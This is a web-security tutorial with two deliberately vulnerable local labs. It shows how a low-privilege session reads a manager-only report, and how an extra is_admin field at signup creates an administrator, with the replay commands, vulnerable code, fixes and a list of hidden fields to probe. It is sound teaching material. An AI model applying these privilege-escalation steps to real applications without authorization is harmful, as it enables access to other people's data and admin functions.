Broken Access Control
Test an endpoint with the least privileged account you hold, replay one user's request as another, and submit a field the form never offered.
In Recon and IDOR, we read another account’s data by changing an object identifier. It worked because the server never asked whether the caller owned the object. Labs 8 and 9 of h5i-tutorial test that gap deliberately: first by changing who sends a request, then by changing what it contains. We will use h5i, whose websec plugin records, edits, and replays a browser session’s HTTP traffic.
Both targets are deliberately vulnerable local applications. Only use these techniques on systems you own or have explicit permission to test.
Before we begin
This article assumes that h5i and its websec plugin are installed. The complete instructions are in the tutorial repository.
$ git clone https://github.com/h5i-dev/h5i-tutorial.git
$ cd h5i-tutorial/websec
$ h5i websec --help
Authentication and authorization are different checks
Authentication establishes an identity: “This request came from Bob.” Authorization applies a rule to it: “Bob is an intern, so he cannot read the managers’ quarterly report.”
A session cookie proves the first and says nothing about the second. The test is correspondingly short. Sign in as the least privileged account you hold, send the request only a privileged account should be allowed to send, and read whose data came back.
Knowing which request to send
That test needs an endpoint only a manager should reach, which means knowing what a manager can reach. You do not learn it by watching a real one: intercepting a live session falls outside the scope of nearly every engagement, and the evidence is unusable in a report.
Usually you were handed the account. Role-aware engagements ship a test account per role, often two, and you sign in as the manager yourself. That is what the lab models: alice and bob are both yours. Failing that, the client can run the workflow through your proxy, or export a HAR and give you the file. A HAR carries session cookies verbatim, so treat it as credential material.
On a bug bounty you often get neither, and reconstruct the request instead of observing it. Administrative routes are still in the single-page bundle, its sourcemaps, /openapi.json, a GraphQL introspection response, error text. The interface hides the link; the route is still there. Most privilege-escalation findings start here.
Lab 8: an intern reads the managers’ report
Start the ledger lab. It has two users: alice, a manager, and bob, an intern. The quarterly report is a manager page, and the intern’s dashboard carries no link to it.
$ ./run.sh 08
Open a session for Bob, the account that decides whether there is a finding, and sign him in:
$ h5i browser open 'http://127.0.0.1:9080/' \
--session bob --new --capture
$ h5i websec replay req_0 --session bob --create \
--set method=POST \
--set path=/login \
--set header.Content-Type=application/json \
--set json.user=bob
--create is required because the captured homepage request was a GET with no JSON body. We are deliberately creating fields it never had.
The login response sets Bob’s session cookie, and later requests from the named bob session carry it automatically. So ask for the managers’ report as Bob:
$ h5i websec replay req_0 --session bob --create \
--set path=/api/reports/quarterly
The status is 200 OK:
{
"as": "bob",
"role": "intern",
"revenue": 4120000,
"audit_key": "FLAG{cross_session_authz}"
}
The server calls the caller an intern and returns the managers’ report anyway. That is the vulnerability.
The flag is not the evidence. audit_key is a constant in the handler, returned to every signed-in caller, so Alice receives the same string when she reads the report she is entitled to read. What proves the bug is "as": "bob" beside "role": "intern". Report the field that establishes whose request it was.
Why did this work?
The report handler contains an authentication check:
user = SESSIONS.get(req.cookies.get("sid", ""))
if not user:
return js({"error": "sign in"}, 401)
return js({
"as": user,
"role": USERS[user],
"revenue": 4_120_000,
"audit_key": FLAG,
})
It asks whether the caller is signed in. It never asks whether the signed-in user is a manager, and hiding the link from Bob’s dashboard is not a substitute. He can still send the request.
if not user:
return js({"error": "sign in"}, 401)
if USERS[user] != "manager":
return js({"error": "forbidden"}, 403)
In a larger application, attach the role requirement to the route or the policy rather than copying it into each handler.
Reading the response
The same response body means opposite things depending on the endpoint, so classify it first. A quarterly report is a shared resource behind a role: one document, and only managers may read it. /api/invoice/9 is a per-owner resource: it belongs to somebody, and each caller should see their own.
| Response | Shared resource behind a role | Per-owner resource |
|---|---|---|
200, body scoped to Bob | Finding. The report was never his to be scoped to | Correct. The endpoint scoped by session rather than by URL |
200, body containing Alice’s data | Finding. Broken authorization | Finding. Broken object-level authorization |
401 | Bob’s credential never arrived. Confirm he is signed in before reading anything into it | |
403 | Usually the control working | |
Lab 8 sits in the first row. The body says "as": "bob", which is correctly scoped by any mechanical reading, and it is still the vulnerability.
Lab 9: add a field the form never offered
Lab 8 changed who sent a request. Lab 9 keeps the sender and changes the object being created.
$ ./run.sh 09
$ h5i browser open 'http://127.0.0.1:9090/' \
--session lab09 --new --capture
The page documents a registration endpoint taking username, email, and password. Create a normal account:
$ h5i websec replay req_0 --session lab09 --create \
--set method=POST \
--set path=/api/register \
--set header.Content-Type=application/json \
--set json.username=ordinary \
--set json.email=ordinary@example.test \
--set json.password=hunter2
The response contains a bearer token. Copy it and try the admin endpoint:
$ h5i websec show res_1 --session lab09 --raw
$ NORMAL_TOKEN='PASTE_THE_TOKEN_HERE'
$ h5i websec replay req_0 --session lab09 --create \
--set path=/api/admin/keys \
--set "header.Authorization=Bearer $NORMAL_TOKEN"
The normal account receives 403 Forbidden, as expected.
What is mass assignment?
Frameworks convert request fields into an application object for you, which is convenient until the object holds fields an ordinary user should never control. The public form sends username, email, and password; the stored record also carries plan, is_admin, and credits. If the server copies every supplied field into that record, we can set is_admin ourselves. This is mass assignment, also called over-posting or unsafe object binding.
Register a second user and add the field:
$ h5i websec replay req_0 --session lab09 --create \
--set method=POST \
--set path=/api/register \
--set header.Content-Type=application/json \
--set json.username=climber \
--set json.email=climber@example.test \
--set json.password=hunter2 \
--set json.is_admin=true
true is unquoted, so h5i sends a JSON boolean rather than the string "true". Copy the new token and send it to the admin endpoint:
$ h5i websec show res_3 --session lab09 --raw
$ ADMIN_TOKEN='PASTE_THE_NEW_TOKEN_HERE'
$ h5i websec replay req_0 --session lab09 --create \
--set path=/api/admin/keys \
--set "header.Authorization=Bearer $ADMIN_TOKEN"
The response contains FLAG{mass_assignment}. We did not promote a user after registration. We created an account that was already an administrator.
Why did this work?
DEFAULTS = {
"username": "",
"email": "",
"password": "",
"plan": "free",
"is_admin": False,
"credits": 0,
}
row = {**DEFAULTS, **payload}
USERS[row["username"]] = row
The merge takes the whole request body, and later keys win, so the attacker’s is_admin: true overwrites the default. Select the public fields explicitly instead:
allowed = {"username", "email", "password"}
public = {k: v for k, v in payload.items() if k in allowed}
row = {**DEFAULTS, **public}
An allowlist names the fields a caller may set. A blocklist names the ones they may not, and goes quietly out of date the next time somebody adds a sensitive field.
Where to look for hidden fields
Without source access, field names surface in registration and profile responses, in GET /api/me, in JavaScript state embedded in a page, in update requests an administrator sends, and in error messages. Candidates worth trying: role, is_admin, is_staff, verified, plan, credits, owner_id, tenant_id.
Test create and update endpoints separately. A signup endpoint may use an allowlist while PATCH /api/me binds the entire request into an existing database record.
A reusable authorization workflow
- Keep one named h5i session per user or role. Mixed cookie jars produce ambiguous evidence.
- Send every sensitive request from the least privileged session. When one succeeds, that alone is the finding.
- Read whose data came back, and against what kind of resource. The status code alone decides nothing.
- For create and update requests, add one plausible internal field at a time.
- Confirm impact with an unauthorized read, write, or privileged action.
Summary
Lab 8 authenticated Bob and never checked his role, and his own session was enough to prove it. Lab 9 accepted every JSON field it was sent, so is_admin: true turned a signup into an administrator account. Both treated the client as the security boundary. A hidden link can still be requested and a hidden field can still be submitted, so the server has to authorize every sensitive action and allowlist every client-controlled field.
$ h5i browser close --session bob
$ h5i browser close --session lab09
$ ./run.sh stop
In JWT Attacks, we will examine JSON Web Tokens and attack the code that decides whether a token’s signature should be trusted.
References
- h5i
- h5i-tutorial: Web application security
- Lab 8: Cross-session authorization
- Lab 9: Mass assignment
JWT Attacks
Decode JSON Web Tokens, bypass a missing signature check, crack a weak HMAC secret, and turn a key identifier into a path traversal.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.